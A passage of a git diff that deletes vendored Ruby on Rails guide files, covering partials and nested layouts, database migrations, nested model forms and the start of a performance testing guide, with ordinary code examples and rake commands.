    - -Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page. - -TIP: For content that is shared among all pages in your application, you can use partials directly from layouts. - -h5. Partial Layouts - -A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this: - - -<%= render :partial => "link_area", :layout => "graybar" %> - - -This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder). - -h5. Passing Local Variables - -You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content: - -* +new.html.erb+ - - -

    New zone

    -<%= error_messages_for :zone %> -<%= render :partial => "form", :locals => - { :button_label => "Create zone", :zone => @zone } %> -
    - -* +edit.html.erb+ - - -

    Editing zone

    -<%= error_messages_for :zone %> -<%= render :partial => "form", :locals => - { :button_label => "Update zone", :zone => @zone } %> -
    - -* +_form.html.erb+ - - -<% form_for(zone) do |f| %> -

    - Zone name
    - <%= f.text_field :name %> -

    -

    - <%= f.submit button_label %> -

    -<% end %> -
    - -Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial. - -Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option: - - -<%= render :partial => "customer", :object => @new_customer %> - - -Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view. - -WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version. - -If you have an instance of a model to render into a partial, you can use a shorthand syntax: - - -<%= render :partial => @customer %> - - -Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it. - -h5. Rendering Collections - -Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection: - -* +index.html.erb+ - - -

    Products

    -<%= render :partial => "product", :collection => @products %> -
    - -* +_product.html.erb+ - - -

    Product Name: <%= product.name %>

    -
    - -When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered. To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial: - - -<%= render :partial => "product", :collection => @products, :as => :item %> - - -With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial. - -TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by +_counter+. For example, if you're rendering +@products+, within the partial you can refer to +product_counter+ to tell you how many times the partial has been rendered. - -You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option: - - -<%= render :partial => "product", :collection => @products, - :spacer_template => "product_ruler" %> - - -Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials. - -There's also a shorthand syntax available for rendering collections. For example, if +@products+ is a collection of products, you can render the collection this way: - -* +index.html.erb+ - - -

    Products

    -<%= render :partial => @products %> -
    - -* +_product.html.erb+ - - -

    Product Name: <%= product.name %>

    -
    - -Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: - -* +index.html.erb+ - - -

    Contacts

    -<%= render :partial => - [customer1, employee1, customer2, employee2] %> -
    - -* +_customer.html.erb+ - - -

    Name: <%= customer.name %>

    -
    - -* +_employee.html.erb+ - - -

    Name: <%= employee.name %>

    -
    - -In this case, Rails will use the customer or employee partials as appropriate for each member of the collection. - -h4. Using Nested Layouts - -You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example: - -Suppose you have the follow +ApplicationController+ layout: - -* +app/views/layouts/application.html.erb+ - - - - - <%= @page_title or 'Page Title' %> - <%= stylesheet_link_tag 'layout' %> - - - -
    Top menu items here
    - -
    <%= yield(:content) or yield %>
    - - -
    - -On pages generated by +NewsController+, you want to hide the top menu and add a right menu: - -* +app/views/layouts/news.html.erb+ - - -<% content_for :stylesheets do %> - #top_menu {display: none} - #right_menu {float: right; background-color: yellow; color: black} -<% end -%> -<% content_for :content do %> -
    Right menu items here
    - <%= yield(:news_content) or yield %> - <% end -%> -<% render :file => 'layouts/application' %> -
    - -That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. - -There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :file => 'layouts/news'+ to base a new layout on the News layout. If one is sure she will not subtemplate the +News+ layout, she can ommit the +yield(:news_content) or + part. - -h3. Changelog - -"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15 - -* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates -* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy -* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy -* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy -* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) diff --git a/vendor/rails/railties/guides/source/migrations.textile b/vendor/rails/railties/guides/source/migrations.textile deleted file mode 100644 index 5ed94c30..00000000 --- a/vendor/rails/railties/guides/source/migrations.textile +++ /dev/null @@ -1,591 +0,0 @@ -h2. Migrations - -Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. - -Active Record tracks which migrations have already been run so all you have to do is update your source and run +rake db:migrate+. Active Record will work out which migrations should be run. It will also update your +db/schema.rb+ file to match the structure of your database. - -Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of +CREATE TABLE+ any more that you worry about variations on +SELECT *+ (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production. - -You'll learn all about migrations including: - -* The generators you can use to create them -* The methods Active Record provides to manipulate your database -* The Rake tasks that manipulate them -* How they relate to +schema.rb+ - -endprologue. - -h3. Anatomy of a Migration - -Before I dive into the details of a migration, here are a few examples of the sorts of things you can do: - - -class CreateProducts < ActiveRecord::Migration - def self.up - create_table :products do |t| - t.string :name - t.text :description - - t.timestamps - end - end - - def self.down - drop_table :products - end -end - - -This migration adds a table called +products+ with a string column called +name+ and a text column called +description+. A primary key column called +id+ will also be added, however since this is the default we do not need to ask for this. The timestamp columns +created_at+ and +updated_at+ which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table. - -Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields: - - -class AddReceiveNewsletterToUsers < ActiveRecord::Migration - def self.up - change_table :users do |t| - t.boolean :receive_newsletter, :default => false - end - User.update_all ["receive_newsletter = ?", true] - end - - def self.down - remove_column :users, :receive_newsletter - end -end - - -This migration adds a +receive_newsletter+ column to the +users+ table. We want it to default to +false+ for new users, but existing users are considered -to have already opted in, so we use the User model to set the flag to +true+ for existing users. - -NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations. - -h4. Migrations are Classes - -A migration is a subclass of ActiveRecord::Migration that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them). - -Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later): - -* +create_table+ -* +change_table+ -* +drop_table+ -* +add_column+ -* +change_column+ -* +rename_column+ -* +remove_column+ -* +add_index+ -* +remove_index+ - -If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). - -On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand. - -h4. What's in a Name - -Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you have to update the name of the class inside or Rails will complain about a missing class. - -Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting +config.active_record.timestamped_migrations+ to +false+ in +config/environment.rb+. - -The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers. - -For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob adds +20080906124500+ and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so +rake db:migrate+ would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their +down+ methods. - -Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike. - -h4. Changing Migrations - -Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. - -In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense. - -h3. Creating a Migration - -h4. Creating a Model - -The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running - - -ruby script/generate model Product name:string description:text - - -will create a migration that looks like this - - -class CreateProducts < ActiveRecord::Migration - def self.up - create_table :products do |t| - t.string :name - t.text :description - - t.timestamps - end - end - - def self.down - drop_table :products - end -end - - -You can append as many column name/type pairs as you want. By default +t.timestamps+ (which creates the +updated_at+ and +created_at+ columns that -are automatically populated by Active Record) will be added for you. - -h4. Creating a Standalone Migration - -If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator: - - -ruby script/generate migration AddPartNumberToProducts - - -This will create an empty but appropriately named migration: - - -class AddPartNumberToProducts < ActiveRecord::Migration - def self.up - end - - def self.down - end -end - - -If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is followed by a list of column names and types then a migration containing the appropriate +add_column+ and +remove_column+ statements will be created. - - -ruby script/generate migration AddPartNumberToProducts part_number:string - - -will generate - - -class AddPartNumberToProducts < ActiveRecord::Migration - def self.up - add_column :products, :part_number, :string - end - - def self.down - remove_column :products, :part_number - end -end - - -Similarly, - - -ruby script/generate migration RemovePartNumberFromProducts part_number:string - - -generates - - -class RemovePartNumberFromProducts < ActiveRecord::Migration - def self.up - remove_column :products, :part_number - end - - def self.down - add_column :products, :part_number, :string - end -end - - -You are not limited to one magically generated column, for example - - -ruby script/generate migration AddDetailsToProducts part_number:string price:decimal - - -generates - - -class AddDetailsToProducts < ActiveRecord::Migration - def self.up - add_column :products, :part_number, :string - add_column :products, :price, :decimal - end - - def self.down - remove_column :products, :price - remove_column :products, :part_number - end -end - - -As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit. - -h3. Writing a Migration - -Once you have created your migration using one of the generators it's time to get to work! - -h4. Creating a Table - -Migration method +create_table+ will be one of your workhorses. A typical use would be - - -create_table :products do |t| - t.string :name -end - - -which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column). - -The object yielded to the block allows you create columns on the table. There are two ways of doing this: The first (traditional) form looks like - - -create_table :products do |t| - t.column :name, :string, :null => false -end - - -the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. - - -create_table :products do |t| - t.string :name, :null => false -end - - -By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example - - -create_table :products, :options => "ENGINE=BLACKHOLE" do |t| - t.string :name, :null => false -end - - -will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+). - -The types supported by Active Record are +:primary_key+, +:string+, +:text+, +:integer+, +:float+, +:decimal+, +:datetime+, +:timestamp+, +:time+, +:date+, +:binary+, +:boolean+. - -These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example - - -create_table :products do |t| - t.column :name, 'polygon', :null => false -end - - -This may however hinder portability to other databases. - -h4. Changing Tables - -A close cousin of +create_table+ is +change_table+, used for changing existing tables. It is used in a similar fashion to +create_table+ but the object yielded to the block knows more tricks. For example - - -change_table :products do |t| - t.remove :description, :name - t.string :part_number - t.index :part_number - t.rename :upccode, :upc_code -end - -removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing - - -remove_column :products, :description -remove_column :products, :name -add_column :products, :part_number, :string -add_index :products, :part_number -rename_column :products, :upccode, :upc_code - - -You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example +remove_column+ becomes just +remove+ and +add_index+ becomes just +index+. - -h4. Special Helpers - -Active Record provides some shortcuts for common functionality. It is for example very common to add both the +created_at+ and +updated_at+ columns and so there is a method that does exactly that: - - -create_table :products do |t| - t.timestamps -end - -will create a new products table with those two columns (plus the +id+ column) whereas - - -change_table :products do |t| - t.timestamps -end - -adds those columns to an existing table. - -The other helper is called +references+ (also available as +belongs_to+). In its simplest form it just adds some readability - - -create_table :products do |t| - t.references :category -end - - -will create a +category_id+ column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the +_id+ for you. If you have polymorphic +belongs_to+ associations then +references+ will add both of the columns required: - - -create_table :products do |t| - t.references :attachment, :polymorphic => {:default => 'Photo'} -end - -will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'. - -NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity. - -If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL. - -For more details and examples of individual methods check the API documentation, in particular the documentation for "ActiveRecord::ConnectionAdapters::SchemaStatements":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "ActiveRecord::ConnectionAdapters::TableDefinition":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "ActiveRecord::ConnectionAdapters::Table":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). - -h4. Writing Your +down+ Method - -The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example - - -class ExampleMigration < ActiveRecord::Migration - - def self.up - create_table :products do |t| - t.references :category - end - #add a foreign key - execute <<-SQL - ALTER TABLE products - ADD CONSTRAINT fk_products_categories - FOREIGN KEY (category_id) - REFERENCES categories(id) - SQL - - add_column :users, :home_page_url, :string - - rename_column :users, :email, :email_address - end - - def self.down - rename_column :users, :email_address, :email - remove_column :users, :home_page_url - execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories" - drop_table :products - end -end - -Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be -displayed saying that it can't be done. - - -h3. Running Migrations - -Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits. - -Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database. - -If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The -version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run - - -rake db:migrate VERSION=20080906120000 - - -If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000. - -h4. Rolling Back - -A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run - - -rake db:rollback - - -This will run the +down+ method from the latest migration. If you need to undo several migrations you can provide a +STEP+ parameter: - - -rake db:rollback STEP=3 - - -will run the +down+ method from the last 3 migrations. - -The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example - - -rake db:migrate:redo STEP=3 - - -Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to. - -Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it. - -NOTE: This is not the same as running all the migrations - see the section on "schema.rb":#schema-dumping-and-you. - -h4. Being Specific - -If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example - - -rake db:migrate:up VERSION=20080906120000 - - -will run the +up+ method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example +db:migrate:up VERSION=20080906120000+ will do nothing if Active Record believes that 20080906120000 has already been run. - -h4. Being Talkative - -By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this - - -20080906170109 CreateProducts: migrating --- create_table(:products) - -> 0.0021s --- add_index(:products, :name) - -> 0.0026s -20080906170109 CreateProducts: migrated (0.0059s) - - -Several methods are provided that allow you to control all this: - -* +suppress_messages+ suppresses any output generated by its block -* +say+ outputs text (the second argument controls whether it is indented or not) -* +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. - -For example, this migration - - -class CreateProducts < ActiveRecord::Migration - def self.up - suppress_messages do - create_table :products do |t| - t.string :name - t.text :description - t.timestamps - end - end - say "Created a table" - suppress_messages {add_index :products, :name} - say "and an index!", true - say_with_time 'Waiting for a while' do - sleep 10 - 250 - end - end - - def self.down - drop_table :products - end -end - - -generates the following output - - -20080906170109 CreateProducts: migrating - Created a table - -> and an index! - Waiting for a while - -> 10.0001s - -> 250 rows -20080906170109 CreateProducts: migrated (10.0097s) - - -If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output. - -h3. Using Models in Your Migrations - -When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed. - -Consider for example a migration that uses the +Product+ model to update a row in the corresponding table. Alice later updates the +Product+ model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with +rake db:migrate+, including the one that used the +Product+ model. When the migration runs the source is up to date and so the +Product+ model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist. - -Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example: - - -class AddPartNumberToProducts < ActiveRecord::Migration - class Product < ActiveRecord::Base - end - - def self.up - ... - end - - def self.down - ... - end -end - -The migration has its own minimal copy of the +Product+ model and no longer cares about the +Product+ model defined in the application. - -h4. Dealing with Changing Models - -For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the +reset_column_information+ method, for example - - -class AddPartNumberToProducts < ActiveRecord::Migration - class Product < ActiveRecord::Base - end - - def self.up - add_column :product, :part_number, :string - Product.reset_column_information - ... - end - - def self.down - ... - end -end - - - -h3. Schema Dumping and You - -h4. What are Schema Files for? - -Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either +db/schema.rb+ or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database. - -There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema. - -For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database. - -Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest. - -h4. Types of Schema Dumps - -There are two ways to dump the schema. This is set in +config/environment.rb+ by the +config.active_record.schema_format+ setting, which may be either +:sql+ or +:ruby+. - -If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look at this file you'll find that it looks an awful lot like one very big migration: - - -ActiveRecord::Schema.define(:version => 20080906171750) do - create_table "authors", :force => true do |t| - t.string "name" - t.datetime "created_at" - t.datetime "updated_at" - end - - create_table "products", :force => true do |t| - t.string "name" - t.text "description" - t.datetime "created_at" - t.datetime "updated_at" - t.string "part_number" - end -end - - -In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. - -There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+. - -Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{RAILS_ENV}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside. - -By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it. - -h4. Schema Dumps and Source Control - -Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control. - -h3. Active Record and Referential Integrity - -The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used. - -Validations such as +validates_uniqueness_of+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints. - -Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "redhillonrails":http://agilewebdevelopment.com/plugins/search?search=redhillonrails which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+). - -h3. Changelog - -"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6 - -* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung diff --git a/vendor/rails/railties/guides/source/nested_model_forms.textile b/vendor/rails/railties/guides/source/nested_model_forms.textile deleted file mode 100644 index 4b685b21..00000000 --- a/vendor/rails/railties/guides/source/nested_model_forms.textile +++ /dev/null @@ -1,222 +0,0 @@ -h2. Rails nested model forms - -Creating a form for a model _and_ its associations can become quite tedious. Therefor Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations. - -In this guide you will: - -* do stuff - -endprologue. - -NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/. - - -h3. Model setup - -To be able to use the nested model functionality in your forms, the model will need to support some basic operations. - -First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build. - -If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded. - -Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+. - -h4. ActiveRecord::Base model - -For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method: - -h5. has_one - - -class Person < ActiveRecord::Base - has_one :address - accepts_nested_attributes_for :address -end - - -h5. belongs_to - - -class Person < ActiveRecord::Base - belongs_to :firm - accepts_nested_attributes_for :firm -end - - -h5. has_many / has_and_belongs_to_many - - -class Person < ActiveRecord::Base - has_many :projects - accepts_nested_attributes_for :projects -end - - -h4. Custom model - -As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour: - -h5. Single associated object - - -class Person - def address - Address.new - end - - def address_attributes=(attributes) - # ... - end -end - - -h5. Association collection - - -class Person - def projects - [Project.new, Project.new] - end - - def projects_attributes=(attributes) - # ... - end -end - - -NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model. - -h3. Views - -h4. Controller code - -A nested model form will _only_ be build if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first. - -Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template: - - -class PeopleController < ActionController:Base - def new - @person = Person.new - @person.built_address - 2.times { @person.projects.build } - end - - def create - @person = Person.new(params[:person]) - if @person.save - # ... - end - end -end - - -NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this. - -h4. Form code - -Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form. - -h5. Standard form - -Start out with a regular RESTful form: - - -<% form_for @person do |f| %> - <%= f.text_field :name %> -<% end %> - - -This will generate the following html: - - -
    - -
    - - -h5. Nested form for a single associated object - -Now add a nested form for the +address+ association: - - -<% form_for @person do |f| %> - <%= f.text_field :name %> - - <% f.fields_for :address do |af| %> - <%= f.text_field :street %> - <% end %> -<% end %> - - -This generates: - - -
    - - - -
    - - -Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be build by the way it has namespaced the +name+ attribute. - -When this form is posted the Rails parameter parser will construct a hash like the following: - - -{ - "person" => { - "name" => "Eloy Duran", - "address_attributes" => { - "street" => "Nieuwe Prinsengracht" - } - } -} - - -That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved. - -h5. Nested form for a collection of associated objects - -The form code for an association collection is pretty similar to that of a single associated object: - - -<% form_for @person do |f| %> - <%= f.text_field :name %> - - <% f.fields_for :projects do |pf| %> - <%= f.text_field :name %> - <% end %> -<% end %> - - -Which generates: - - -
    - - - - -
    - - -As you can see it has generated 2 +project name+ inputs, one for each new +project+ that’s build in the controllers +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as: - - -{ - "person" => { - "name" => "Eloy Duran", - "projects_attributes" => { - "0" => { "name" => "Project 1" }, - "1" => { "name" => "Project 2" } - } - } -} - - -You can basically see the +projects_attributes+ hash as an array of attribute hashes. One for each model instance. - -NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep. - -TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example. \ No newline at end of file diff --git a/vendor/rails/railties/guides/source/performance_testing.textile b/vendor/rails/railties/guides/source/performance_testing.textile deleted file mode 100644 index 320a5b84..00000000 --- a/vendor/rails/railties/guides/source/performance_testing.textile +++ /dev/null @@ -1,531 +0,0 @@ -h2. Performance Testing Rails Applications - -This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to: - -* Understand the various types of benchmarking and profiling metrics -* Generate performance and benchmarking tests -* Use a GC-patched Ruby binary to measure memory usage and object allocation -* Understand the benchmarking information provided by Rails inside the log files -* Learn about various tools facilitating benchmarking and profiling - -Performance testing is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application. - -endprologue. - -h3. Performance Test Cases - -Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems. - -In a freshly generated Rails application, +test/performance/browsing_test.rb+ contains an example of a performance test: - - -require 'test_helper' -require 'performance_test_help' - -# Profiling results for each test method are written to tmp/performance. -class BrowsingTest < ActionController::PerformanceTest - def test_homepage - get '/' - end -end - - -This example is a simple performance test case for profiling a GET request to the application's homepage. - -h4. Generating Performance Tests - -Rails provides a generator called +performance_test+ for creating new performance tests: - - -script/generate performance_test homepage - - -This generates +homepage_test.rb+ in the +test/performance+ directory: - - -require 'test_helper' -require 'performance_test_help' - -class HomepageTest < ActionController::PerformanceTest - # Replace this with your real tests. - def test_homepage - get '/' - end -end - - -h4. Examples - -Let's assume your application has the following controller and model: - - -# routes.rb 